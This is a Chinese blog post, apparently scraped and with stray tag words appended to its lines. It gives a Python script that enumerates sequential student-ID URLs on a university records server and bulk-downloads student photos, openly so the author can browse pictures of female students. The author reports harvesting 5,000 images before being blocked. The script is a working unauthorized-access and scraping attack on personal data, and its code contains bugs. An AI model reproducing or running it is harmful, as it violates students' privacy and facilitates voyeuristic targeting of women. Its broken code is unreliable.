python獲取教務管理系統的MM照片

前提:你的教務管理系統是明文存儲你們的圖片,加密的圖片就很差弄了...python

也就是可以經過瀏覽器直接訪問...技術上就不存在什麼問題了...若是是學號存儲的就更方便了瀏覽器

而後咱們就能夠寫個小腳本了...其實就是直接url獲取而後保存在本地...多線程

第一個python小腳本...練手玩一玩...socket

若是要效率高能夠用多線程...測試

你們就能夠愉快的找到MM的照片啦! 不要太過火喲...我下載到5000張的時候就被遠程中止了...sad...加密

 1 import urllib.request
 2 
 3 for i in range(10,10000):
 4     name = "http://www.xx.edu.cn:8081/_photo/student/20110000"
 5     tmp = '%d'%i
 6     while(len(tmp) < 4):
 7         tmp = "0" + tmp 
 8     name = name + tmp + ".jpg"
 9     print(name)
10     try:
11         socket = urllib.request.urlopen(name)
12     except:
13        print(name+"not exist")
14     finally:
15         data = socket.read()
16         path = r"F:\pic\"
17         path = path + tmp + ".jpg"
18         print(path)
19         with open(path,"wb") as jpg:
20             jpg.write(data)
21         socket.close()

解釋一下...我是用python3.3   2.X的用戶要用import urllib2url

4-8行都是處理url字符串的...9行可要可不要spa

10行是測試該url是否可訪問線程

14行以後就是保存到本地了code

純粹學術交流,請你們不要用於攻擊等行爲

相關文章
相關標籤/搜索